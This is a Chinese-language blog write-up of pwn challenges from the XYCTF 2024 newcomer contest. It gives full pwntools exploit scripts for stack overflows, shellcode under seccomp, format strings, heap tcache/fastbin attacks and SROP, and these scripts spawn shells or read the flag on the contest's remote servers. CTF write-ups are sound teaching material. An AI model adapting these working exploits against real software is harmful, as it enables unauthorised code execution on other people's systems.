[XYCTF新生赛2024] pwn

用了一周来复现crypto部分(不能算是复现,拿着 糖醋小鸡块的WP一点点学了下)。

两天时间复现PWN部分。相对来说PWN比密码这块要简单,不过ARM,MIPS懒得学了,跳过。

malloc_flag

题目先打开flag将建0x100的块,然后把flag读入再free掉块。后边允许建块和show。只要再建个同大小的块然后show就能拿到flag

hello_world

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[20]; // [rsp+0h] [rbp-20h] BYREFinit();printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);return 0;
}

有两次读入和输出并且可以溢出,第1次输入0x28长得到libc_start_main_ret,第2次再溢出写pop_rdi,bin_sh,system

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
#p = process('./eztext')
p = remote('gz.imxbt.cn', 20022)p.sendafter(b"please input your name: ", b'A'*0x28)
p.recvuntil(b'A'*0x28)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x29d90pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']p.sendafter(b"please input your name: ", b'A'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system))p.interactive()

Intermittent

是个shellcode题,输入的shellcode被分成3段每断4字节

    write(1, "show your magic: ", 0x11uLL);read(0, buf, 0x100uLL);for ( i = 0LL; i <= 2; ++i )*((_DWORD *)v5 + 4 * i) = buf[i];v5();

前边两段需要jmp $+14跳到下一块,用push,pop设置参数后syscall作个read读入后边的shellcode

from pwn import *
context(arch='amd64', log_level='debug')
p = remote('gz.imxbt.cn', 20029)shellcode = asm("push rdx;pop rsi;jmp $+14;")
shellcode+= asm("push rax;pop rdi;jmp $+14;")
shellcode+= asm("push rsi;pop rdx;syscall;")p.sendafter(b"show your magic: ", shellcode.ljust(0x100, b'\x90'))
p.send(b'\x90'*0x28 + asm(shellcraft.sh()))p.interactive()

invisible_flag

第2个shellcode题,但作了seccomp禁用了open,read,readv,write,writev,execve,execveat

用openat打开然后sendfile,可以直接用shellcraft.openat,这是专门手搓个只有0x20字节的。

from pwn import *context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')p = remote('gz.imxbt.cn', 20029)#int openat(int dirfd, const char *pathname, int flags, mode_t mode);
#含/flag 0x20字节
shellcode = f"""
push rdx;pop rsi;xor rsi,0x1b;
push rbx;pop rdx;
inc al;inc ah;
syscall;push 1;pop rdi;
xchg rax,rsi;
/* push rbx;pop rdx; */ /*rdx=0*/
xor r10,r11;
push 0x28;pop rax;
syscall;
"""p.sendafter(b"show your magic again\n", asm(shellcode).ljust(0x100,b'\x90')+b'/flag')p.interactive()

fmt

这个格式化字符串漏洞用的是scanf也就是指定参数读入

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf1[32]; // [rsp+0h] [rbp-30h] BYREFunsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);init();printf("Welcome to xyctf, this is a gift: %p\n", &printf);read(0, buf1, 0x20uLL);__isoc99_scanf(buf1);printf("show your magic");return 0;
}

先指定一个偏移读%7$s,再在偏移处写上指针,然后就能把后门写到指针处。

2.31还有exit_hook在rtld_global+3848处,并且与libc位置固定。

在docker上起的时候比本地少0x6000

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')p = remote('gz.imxbt.cn', 20038)p.recvuntil(b"gift: ")
libc.address = int(p.recvline(),16) - libc.sym['printf']#exit->fs+30->_rtld_global+3848
#0x7ffff7ffdf68 <_rtld_global+3848>:     0x00000000004012be 
exit_hook = libc.address +0x222f68
#exit_hook += 0x6000 #local offset 本地比远程多0x6000
p.send(flat(b'%7$s\0\0\0\0',exit_hook,0,0))p.sendline(p64(0x4012be))p.interactive()

 fastfastfast

从题目上看是用fastbinAttack,因为2.31不再允许直接在tcache里double free所以要先填满tcache再在fastbin里double free,第1次泄露libc,第2次写free_hook

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20043)def add(idx, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"please input note idx\n", str(idx).encode())p.sendafter(b"please input content\n", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"please input note idx\n", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"please input note idx\n", str(idx).encode())#set notes_list[0]->got.puts leak libc
for i in range(9):add(i)for i in range(7):free(8-i)free(0)
free(1)
free(0)for i in range(7):add(2+i)add(0, p64(0x4040c0))
add(1)
add(10)
add(11, p64(elf.got['puts']))
show(0)
libc.address = u64(p.recv(0x8)) - libc.sym['puts']
print(f"{libc.address = :x}")#__free_hook->system
for i in range(9):add(i)for i in range(7):free(8-i)free(0)
free(1)
free(0)for i in range(7):add(2+i)add(0, p64(libc.sym['__free_hook']))
add(1)
add(10, b'/bin/sh\x00')
add(11)
add(11, p64(libc.sym['system']))free(10)
p.interactive()

ptmalloc2_its_myheap

这题有3道,难度加大。

第1题PIE未开,并且got表可写。直接覆盖free为system

3个题的菜单一样,只有add,free,show,没有edit稍有点麻烦。

add时先写个0x18的管理块,再建数据块,并将指针和大小写到管理块。

free时先free管理块再free数据块,并且未清指针,所以有UAF漏洞。

show是用write写不会出现\0截断。

通过建0x18的块覆盖原来free掉但未清指针的管理块,控制管理块的指针,可以实现任意地址读。

并且可以指定一个位置来 free得到到重叠块,覆盖原tcache的指实在在指定位置建块写数据。

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20044)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
add(3,0x20, b'/bin/sh\0')
add(4,0x20, flat(0, libc.sym['system']))free(3)
p.interactive()

ptmalloc2_its_myheap_pro

got表不可写了,这里有好多攻击姿势,其中写exit_hook(与上题不一样,2.35没有rtld_global里的exit_hook,这是个tls里的)前几天写过了。通过libc找栈地址,在栈里打到ld地址,通过ld里的rtld_global找到TLS地址在里边写ROP,第1断加密。详见前边一篇。

在得到栈地址后可以直接写栈,这样在返回地址写ROP,感觉更方便处理。前边也写过了

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20075)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,elf.got['free']))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")free(2)
add(2,0x18, flat(8,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8))
print(f"{stack = :x}")free(2)
add(2,0x18, flat(8,1,stack-0x68))
show(1)
ld_address = u64(p.recv(8)) - 0x3b2e0
print(f"{ld_address = :x}")_rtld_global = ld_address + 0x3a040
free(2)
add(2,0x18, flat(8,1,_rtld_global+0x20))
show(0)
tls = u64(p.recv(8)) - 0x3150 + 0x740
print(f"{tls = :x}")free(2)
add(2,0x18, flat(0x10,1,tls+0x28))
show(1)
canary = u64(p.recv(8)) 
pointer_guard = u64(p.recv(8)) 
print(f"{canary = :x} {pointer_guard}")free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(stack-0x148)))add(3,0x20, b'/bin/sh\0')pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
add(4,0x28, flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))p.interactive()

ptmalloc2plus

这个PIE也打开了,不能直接读got表得到libc了,需要用unsort。

这题在seccomp的时候建了很多块然后free,所以tcache里非常乱,乱给它耗掉,然后free0x90块8次利用unsort.fd可以直接得到libc.

还是上题的思路,这次先把ROP写到堆里,在栈里写rbp,leave_ret进行移栈。

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20076)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())#耗掉前边不连续的0x20块
for i in range(5):add(0,0x18)add(0,0x18)
free(0)
add(1,0x18)
show(1)
heap = u64(p.recv(0x18)[0x10:]) - 0x14a0
print(f"{heap = :x}")for i in range(9):add(i+2,0x80)
for i in range(8):   #unsort +0x19b0free(i+2)
for i in range(4):add(i+2, 0x18)free(1)
add(0,0x18, flat(0x18,1,heap+0x19b0))
show(1)
libc.address = u64(p.recv(0x10)[8:]) - 0x21ace0
print(f'{libc.address = :x}')free(0)
add(1,0x18, flat(0x18,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8)) - 0x148 #chunk_add.ret
print(f"{stack = :x}")free(2)
free(3)
add(2, 0x28, flat(0,0,0,0x41))
add(3, 0x28)free(2)
free(3)
free(1)
add(0, 0x18, flat(0x38,1, heap+0x19d0))
free(1)
add(1, 0x38, flat(0,0x31, ((heap+0x19d0)>>12)^stack  ))for i in range(8):add(2,0x80)pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rcx = libc.address + 0x0000000000108b04 # pop rcx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
syscall = libc.sym['getpid'] + 9
buf = heap+0x1cf0#ROP 比块长,分两断,中间用ppp跳过
pay1 = flat([pop_rdi, buf, pop_rsi, 0, pop_rax,2, syscall,pop_rdi, 3, pop_rsi, buf, pop_rdx, 0x50, 0, pop_rdi+1, pop_rcx])
pay2 = flat([pop_rax,0, syscall,pop_rdi, 1, pop_rax, 1, syscall
]) +  b'flag\x00'add(2,0x18,b'2')
free(2)
add(3, 0x80, pay1)
add(4, 0x80, pay2)add(5, 0x28)
add(5, 0x28, flat(heap+0x1c20-8, leave_ret))p.interactive()

vuln

这是个静态编译的题,直接用ROPgadget得到ROP再修改一下

from pwn import *
from struct import packcontext(arch='amd64', log_level='debug')#io = process('./vuln')
io = remote('gz.imxbt.cn', 20077)#ROPgadget --binary vuln --ropchain
p = b'\x00'*0x28p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f1f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x0000000000451322) # pop rdx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'\x3b'+b'\x00'*7
p += pack('<Q', 0x0000000000401cd4) # syscallio.send(p)
io.interactive()

one_byte

比前边几题多了edit,在edit时可以多输入1字节。可以通过1字节覆盖后边块头变大,free里再建得到重叠块进行tcache攻击。

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20078)def add(idx, size):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b">>> ", b'4')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.send(msg)add(0,0x18)
add(1,0x18)
add(2,0x200)
add(3,0x200)
add(4,0x18)edit(2, flat(0,0,0,0x1f1))
edit(0, flat(0,0,0)+b'\x41')
free(1)
add(1, 0x38)
edit(1, flat(0,0,0,0x421))
free(2)
show(1)
libc.address = u64(p.recv(0x28)[0x20:]) - 0x1ecbe0
print(f"{libc.address = :x}")add(2, 0x18)
free(0)
free(2)
edit(1, flat(b'/bin/sh\0',0,0,0x21, libc.sym['__free_hook']))
add(2, 0x18)
add(0, 0x18)
edit(0, p64(libc.sym['system']))
free(1)
p.interactive()

Guessbook1

边界溢出,可以溢出1字节写到rbp的尾字节,再main_leave_ret时会发生移栈。先把后门写上然后将rbp尾字节改小

from pwn import *
context(arch='amd64', log_level='debug')#p = process('./pwn')
#gdb.attach(p, "b*0x401320\nc")
p = remote('gz.imxbt.cn', 20079)def note(idx,name,ids):p.sendlineafter(b"index\n", str(idx).encode())p.sendafter(b"name:\n", name)p.sendlineafter(b"id:\n", str(idx).encode())for i in range(32):note(i, p64(0x401328)*2,i)note(32,b'A'*0x10, 0)  #rbp = xxx0
p.sendlineafter(b"index\n", b'-1')p.interactive()

babyGift

这题提示的gift一直没找到有啥用,感觉唯一的用处就是填充了rdi

先用printf;ret得到libc地址,然后调用_start得新开始,再写ROP

from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
#gdb.attach(p, "b*0x4012ad\nc")
p = remote('gz.imxbt.cn', 20102)p.sendlineafter(b"Your name:\n", b'A')
#p.sendlineafter(b"Your passwd:\n", b'%p'*0x10 + flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))
#                                                                                      printf,ret 
p.sendlineafter(b"Your passwd:\n", b'%27$p,%11$p,'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True), 16)#p.sendlineafter(b"Your name:\n", b'A')
p.sendlineafter(b"Your passwd:\n", b'/bin/sh'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x4012ae, libc.sym['system']))p.interactive()

simple_srop

简单的SROP,并且直接给了mov rax,0xf;syscall,难点就在于ORW至少需要2次但给的read只有0x200不够。需要先移栈到BSS再用srop读入后续的payload。

from pwn import *context(arch='amd64', log_level='debug')#libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
#gdb.attach(p, "b*0x4012d4\nc")
p = remote('gz.imxbt.cn', 20108)sig_ret = 0x401296
syscall = 0x40129d
bss = 0x404800#move stack to bss
p.send(flat(b'\x00'*0x20, bss, 0x4012b9).ljust(0x200, b'\x00'))#read(0, bss+0x200,0x600)
pay = b'flag'.ljust(0x20, b'\x00') + flat(bss, sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss + 0x200
frame.rdx = 0x500
frame.rsp = bss + 0x200  #
frame.rip = syscallpay += bytes(frame)
p.send(pay.ljust(0x200, b'\x00'))pay = p64(sig_ret)
#open
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = bss - 0x20
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x200 + 0x100  #
frame.rip = syscall
pay += flat(frame)#read
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*2  #
frame.rip = syscall
pay += flat(frame)#write
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*3  #
frame.rip = syscall
pay += flat(frame)p.send(pay)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/37871.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[深度学习] Transformer

Transformer是一种深度学习模型&#xff0c;最早由Vaswani等人在2017年的论文《Attention is All You Need》中提出。它最初用于自然语言处理&#xff08;NLP&#xff09;任务&#xff0c;但其架构的灵活性使其在许多其他领域也表现出色&#xff0c;如计算机视觉、时间序列分析…

MySQL高级-SQL优化- limit优化(覆盖索引加子查询)

文章目录 0、limit 优化0.1、从表 tb_sku 中按照 id 列进行排序&#xff0c;然后跳过前 9000000 条记录0.2、通过子查询获取按照 id 排序后的第 9000000 条开始的 10 条记录的 id 值&#xff0c;然后在原表中根据这些 id 值获取对应的完整记录 1、上传5个sql文件到 /root2、查看…

libctk shared library的设计及编码实践记录

一、引言 1.1 <libctk>的由来 1.2 <libctk>的设计理论依据 1.3 <libctk>的设计理念 二、<libctk>的依赖库 三、<libctk>的目录说明 四、<libctk>的功能模块及使用实例说明 4.1 日志模块 4.2 mysql client模块 4.3 ftp client模块 4…

鸿蒙开发设备管理:【@ohos.geolocation (位置服务)】

位置服务 说明&#xff1a; 本模块首批接口从API version 7开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。 导入模块 import geolocation from ohos.geolocation;geolocation.on(‘locationChange’) on(type: ‘locationChange’, request: L…

安卓开发自定义时间日期显示组件

安卓开发自定义时间日期显示组件 问题背景 实现时间和日期显示&#xff0c;左对齐和对齐两种效果&#xff0c;如下图所示&#xff1a; 问题分析 自定义view实现一般思路&#xff1a; &#xff08;1&#xff09;自定义一个View &#xff08;2&#xff09;编写values/attrs.…

poi-tl 生成 word 文件(插入文字、图片、表格、图表)

文章说明 本篇文章主要通过代码案例的方式&#xff0c;展示 poi-tl 生成 docx 文件的一些常用操作&#xff0c;主要涵盖以下内容 &#xff1a; 插入文本字符&#xff08;含样式、超链接&#xff09;插入图片插入表格引入标签&#xff08;通过可选文字的方式&#xff0c;这种方…

俄罗斯防空系统

俄罗斯的S系列防空系统是一系列先进的地对空导弹系统&#xff0c;旨在防御各类空中威胁&#xff0c;包括飞机、无人机、巡航导弹和弹道导弹。以下是几种主要的S系列防空系统&#xff1a; 1. **S-300系统**&#xff1a; - **S-300P**&#xff1a;最早期的版本&#xff0c;用…

翻译造句练习

翻译练习 翻译 1&#xff1a;经常做运动会提高人的自信 翻译 2&#xff1a;教学的质量对学生成绩有很大的影响。 翻译 3&#xff1a;家长和老师应该努力去减少小孩看电视的时间。 翻译 4&#xff1a;经济的下滑&#xff08;economic slowdown&#xff09;导致失业率的上升 翻译…

大模型和数据库最新结合进展

写在前面 本文主要内容是上次接受 infoQ 访谈&#xff0c;百度智能云朱洁老师介绍了大模型和 AI 结合相关话题&#xff0c;这次整体再刷新下&#xff0c;给到对这个领域感兴趣的同学。 当前&#xff0c;百度智能云云数据库特惠专场开始&#xff01;热销规格新用户免费使用&am…

Android中ViewModel+LiveData+DataBinding的配合使用(kotlin)

Android 中 ViewModel、LiveData 和 Data Binding 的配合使用&#xff08;Kotlin&#xff09; 摘要 本文将介绍如何在 Android 开发中结合使用 ViewModel、LiveData 和 Data Binding 进行数据绑定和状态更新。我们将详细探讨这三者之间的关系&#xff0c;并展示如何在 Kotlin…

最逼真的简易交通灯设计

最逼真的简易交通灯设计 需要资料的请在文章末尾获取&#xff08;有问题可以私信我哦~~&#xff09; 01 资料内容 Proteus仿真文件程序源码实物制作&#xff0c;代码修改&#xff0c;功能定制&#xff08;需额外收费&#xff0c;价格实惠&#xff0c;欢迎咨询&#xff09; …

实验场:在几分钟内使用 Elasticsearch 进行 RAG 应用程序实验

作者&#xff1a;来自 Elastic Joe McElroy, Serena Chou 什么是 Playground&#xff08;实验场&#xff09;&#xff1f; 我们很高兴发布我们的 Playground 体验 —- 一个低代码界面&#xff0c;开发人员可以在几分钟内使用自己的私人数据探索他们选择的 LLM。 在对对话式搜…

41割队伍

上海市计算机学会竞赛平台 | YACSYACS 是由上海市计算机学会于2019年发起的活动,旨在激发青少年对学习人工智能与算法设计的热情与兴趣,提升青少年科学素养,引导青少年投身创新发现和科研实践活动。https://www.iai.sh.cn/problem/387 题目描述 给定 𝑛n 个数字 𝑎1,�…

一周小计(1):实习初体验

实习的第一周&#xff0c;从最开始的配环境做好准备工作&#xff0c;到拉项目熟悉项目&#xff0c;然后自己去写需求&#xff0c;每一步都有很大收获&#xff0c;得到很多人帮助真的好感谢&#xff0c;以下是个人这几天的记录与感想。 &#xff08;这个其实是我写的周报&#x…

Hi3861 OpenHarmony嵌入式应用入门--LiteOS Semaphore做同步使用

信号量作为同步使用 创建一个Semaphore对象&#xff0c;并指定一个初始的计数值&#xff08;通常称为“许可”或“令牌”的数量&#xff09;。这个计数值表示当前可用的资源数量或可以同时访问共享资源的线程数。当一个线程需要访问共享资源时&#xff0c;它会尝试从Semaphore…

加油站可视化:打造智能化运营与管理新模式

智慧加油站可视化通过图扑 HT 构建仿真的三维模型&#xff0c;将加油站的布局、设备状态、人员活动等信息动态呈现。管理者可以通过直观的可视化界面实时监控和分析运营状况&#xff0c;快速做出决策&#xff0c;提高管理效率和安全水平&#xff0c;推动加油站向智能化管理转型…

后端之路第三站(Mybatis)——结合案例讲Mybatis怎么操作sql

先讲一下准备工作整体流程要做什么 我们要基于一个员工管理系统作为案例&#xff0c;进行员工信息的【增、删、改、查】 原理就是用Mybatis通过java语言来执行sql语句&#xff0c;来达到【增、删、改、查】 一、准备工作 1、引入数据库数据 首先我们把一个员工、部门表的数…

【51单片机入门】速通定时器

文章目录 前言定时器是什么初始化定时器初始化的大概步骤TMOD寄存器C/T寄存器 触发定时器中断是什么中断函数定时器点亮led 总结 前言 在嵌入式系统的开发中&#xff0c;定时器是一个非常重要的组成部分。它们可以用于产生精确的时间延迟&#xff0c;或者在特定的时间间隔内触…

对外发布的PDF文档进行数字证书签名的重要性?

对外发布的PDF文档进行数字证书签名具有以下几个重要性&#xff1a; 身份验证&#xff1a;数字签名可以证明文档的来源&#xff0c;即确认文档的签署者身份。这如同在纸质文档上手写签名或加盖公章&#xff0c;但更安全可靠&#xff0c;因为数字签名是基于加密技术&#xff0c;…

Java--常用类APl(复习总结)

前言: Java是一种强大而灵活的编程语言&#xff0c;具有广泛的应用范围&#xff0c;从桌面应用程序到企业级应用程序都能够使用Java进行开发。在Java的编程过程中&#xff0c;使用标准类库是非常重要的&#xff0c;因为标准类库提供了丰富的类和API&#xff0c;可以简化开发过…